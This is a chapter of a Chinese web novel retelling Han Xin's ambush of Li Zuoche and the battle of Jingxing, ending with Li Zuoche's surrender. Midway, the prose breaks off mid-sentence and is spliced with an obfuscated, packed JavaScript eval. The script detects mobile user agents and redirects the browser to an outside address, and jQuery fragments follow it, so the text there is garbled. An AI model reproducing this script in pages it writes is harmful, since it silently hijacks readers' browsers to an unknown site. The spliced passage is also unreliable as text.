47. 名将的对决

作品:《吕雉重生嫁项羽

    此前,韩信已一举平定了魏、代之地,如今将要直面赵国的二十万大军。井陉地处太行山东麓,是楚军经赵的必经之路。那里只有一条宽不过数尺、绵延百里的狭长山道,出了小道便是赵国重兵驻扎的井陉口。面对如此地形,韩信不敢轻举妄动,若敌人在此设伏,必将全军覆没。


    彭城项府之中,烛火在舆图上投下摇曳的光晕。吕雉在舆图上用朱砂圈出井陉,她知道这是韩信自出兵以来,最为凶险的一仗。


    上一世,因陈馀投靠了赵王歇,赵王听信其“正义之师不用诡计”之言,未采纳李左车之谋。韩信方得以一万兵力(余部已被刘邦调走),大破二十万赵师。而那李左车,正是战国四大名将李牧之孙,是当时有名的谋士。


    不知韩信与李左车,这两位名士对决,又会碰出怎样的火花?吕雉凝视着舆图上蜿蜒如蛇的井陉道,眼中波光流转,明灭不定,心道:韩信,望你不负霸王所托。


    “韩信远来,馈饷艰难,士卒面带饥色。”李左车的声音在赵军营帐中响起,“其所帅虽号称数万,实则精锐有限。一旦其行军队伍进入井陉小道,辎重必在队尾。请主上与大将军予我奇兵三万,由小道绝其辎重,断其粮道。同时,请大王命人加固营垒,坚守勿要出战。这样一来,韩信攻不破我们的防线,后又无路可走,军粮被截。不出十天,韩信必败!”


    赵王歇抚须道:“好,就依你之言。”


    消息很快被韩信的斥候探知。


    太行山的夜风带着刺骨的寒意,吹过韩信的帅帐。舆图前,他凝视着那条代表粮道的蜿蜒虚线,指尖在“白羊陉”与“井陉口”之间反复移动。烛光将他挺拔的身影投在帐壁上,像一柄即将出鞘的利剑。


    “李左车……”他低声念着这个名字,眼中没有畏惧,只有棋逢对手的灼热光芒,“你若不动,我倒要费些周章。你既动,此战便成了一半。”


    他早已通过细作与地形预判李左车可能选择的截击路线、伏击地点算得七七八八。赵军欲动,正中他下怀。


    “传令后军督粮官,”韩信的声音平静道:“明日启程的辎重队,分为前、后两部。前队用车三百辆,满载草料、破旧军械,间杂少许真粮,务求装载沉重,车辙深陷。多树‘韩’、‘粮’字旌旗,护卫增至三千,声势务求浩大。”


    副将不解:“大将军,既为诱饵,为何反增护卫,令其疑惧?”


    韩信嘴角微扬:“李左车何等人物?若护卫稀松,他反倒疑心是计。我增其护卫,是告诉他:此粮重要,但我韩信兵力有限,只能分兵这些保护。”


    “那后队……”


    “后队用车百辆,精粮、箭矢尽在其中,以油布密覆。选五百精锐老卒,皆着轻甲,不树旗帜,昼伏夜出,专挑砍柴人走的小路。抵达预设营寨前,不得生火,不得喧哗。”这是真正的命脉,隐于无形。


    他指向舆图上一处险要山谷,出口狭窄,“此处,便是为李左车预备的大礼。”他调遣麾下最擅山地奔袭、骁勇善战的两位都尉,各领三千精锐,不带辎重,只携三日干粮与引火之物。


    “你二人,星夜出发,潜行至山谷两侧密林。多备滚木、礌石、枯草、火油。待李左车前军尽入山谷,后军将入未入之际,听号角为令,封住谷口,火箭齐发,滚木压下。不以求歼敌多为要,务求制造大乱,惊其马,阻其势,乱其心!”


    最后,他唤来心腹骑郎,交予一个密封的铜匣。“待李左车被困山谷,你乘夜冒险接近其可能驻扎的高地,设法将此匣射入其营中。不必等待回音,立刻返回。”


    三日后,白羊陉峡谷。


    李左车立于高坡,望着下方蜿蜒如长蛇、护卫森严的汉军辎重队,眼中锐光闪烁。他识破了这可能是个诱饵,但也判断出,这诱饵里必然混有真粮,且护卫力量虽强,仍在可击范围。更重要的是,他需要一场速胜来鼓舞赵军士气。


    “出击!”赵军精锐如饿虎出笼,直扑而下。楚军护卫佯装溃败,留下大量辎重车辆。李左车部下疾驰查看,车上麻包破损,露出草料与陈旧兵械,仅有少量粮谷。


    “中计!”李左车心头一凛,但尚不慌乱,急令:“前队变后队,速退!谨防伏兵!”


    话音方落,预先埋伏在山谷两侧的楚军号角凄厉响起,火箭如蝗,滚木礌石轰隆而下,瞬间将峡谷出口堵死大半,谷内烟火弥漫,人喊马嘶,乱成一团。李左车虽惊不乱,竭力收拢中后军,依托地形结阵自保,但突围的节奏已被彻底打乱,士气受挫。


    “将军!主营方向火光冲天,杀声异常!”斥候飞马来报,声音带着惊恐。


    李左车瞬间明白了韩信的整个棋局。自己被“可能截断粮道”的巨大战果诱惑,离开了主棋盘,而韩信真正的杀招,正落在空虚的赵军大营和疲惫的赵军主力身上。他犯了一个名将之后最不该犯的错误:低估了对手的格局。韩信要的不是保住粮道,而是要一口吞下整个赵军!


    “全军!丢弃重械,轻装疾行,回援主营!”李左车当机立断,声音异常冷冽。三万赵军精锐迅速转向,沿着崎岖山路狂奔。时间,此刻比金子还贵。


    就在李左车出营截粮之际,韩信先派出一万先锋,背靠江水列阵。赵军见楚军背水列阵,此乃兵家大忌,赵军一将领急欲争功,请求出兵,赵王歇不顾李左车走前的叮嘱,命赵将率主力倾巢出击,意图一战歼灭这支“找死”的部队。


    背水的一万汉军,前是强敌,后是滔滔江水,退无可退。韩信亲临阵前,高呼:“退即死,进或生,诸君奋力!”置之死地而后生,汉军士卒皆知唯有死战方有活路,个个以一当十,竟死死抵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983031|189389||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    住了赵军主力的猛攻,战斗一度陷入惨烈的胶着状态。


    就在赵军主力在江水之畔牢牢吸住之时,韩信预先埋伏的两千轻骑精锐,由钟离眜率领,早已携带楚军赤旗,乘虚迂回至赵军大营侧后。赵营空虚,留守士卒寥寥,且注意力全被前方大战吸引。钟离眜骑兵如风卷残云般攻入空营,迅速拔去所有赵军旗帜,遍插楚军赤旗。


    前方赵军久攻不下,渐显疲态。正欲回营休整再战,忽见自家大营方向赤旗招展,俨然已换成楚旗!瞬间,赵军士卒人心大乱,以为主帅被擒或后方已失,惶恐之下阵型大溃。


    江水之畔的楚军见敌阵已乱,士气更盛,奋力反击。韩信指挥中军主力从侧翼压上。钟离眜的骑兵也从赵营杀出,自后掩杀。赵军腹背受敌,兵败如山倒,赵王歇被杀。


    李左车接近战场边缘时,看到的是漫山遍野的溃兵,以及如林推进的楚军旗帜。韩信的背水阵与奇袭骑兵已经彻底击垮了赵军主力,钟离眜的骑兵正在战场外围游弋,清扫残敌,并自然而然地对李左车这支疲惫之师形成了半包围的态势。


    李左车勒住战马,败局已定,他回头看着身后士气低迷的三万士卒,心中一片冰凉。他知道,此刻若强行冲击楚军得胜之师,无异于以卵击石。即便能造成一些伤亡,也绝无可能扭转乾坤,只会让这几万赵军儿郎白白葬送。


    就在李左车进退维谷之时,一名汉军使者,在数名骑兵的护卫下,高举使节,从容不迫地来到两军阵前。使者并未带来战书,而是奉上了一封韩信亲笔书信,以及那枚曾由吕雉送出的玄铁令牌。


    信很短,却字字千钧:


    “左车将军:牧之遗风,信心慕久矣。今赵王已死,将军之才,运筹帷幄,决胜千里,岂可与之陪葬?项王与夫人亦知将军之名,信虚上座以待。若怜赵军士卒性命,存有用之身,这天下棋局,正待高手。望慎思之。——韩信顿首”


    李左车握着那枚冰凉的令牌,看着信上“牧之遗风”四字,又望向远处楚军中军旗下,那个并未急于发动进攻、似乎一切尽在掌握的年轻统帅的身影。他想起了祖父的坎坷,想起了赵国的倾颓,想起了自己胸中的韬略与抱负,再看看眼前这些跟随自己、此刻眼中充满恐惧与茫然的士卒。


    许久,他长长地、仿佛卸下千钧重担般,叹息一声。


    他缓缓下马,解下佩剑,对使者说道:“带我去见韩大将军。”


    李左车之“败”,非败于勇力,非败于寡谋,而是败于韩信更高一层的全局掌控和更深一步的人心计算。当李左车走向楚营时,他知道,自己并非走向屈辱,而是走向一个更广阔、也更危险的棋局。而韩信,则兵不血刃,收服了一位当世奇才,并彻底赢得了井陉之战的完胜。此战之后,“韩信用兵,神鬼莫测”之名,真正响彻天下。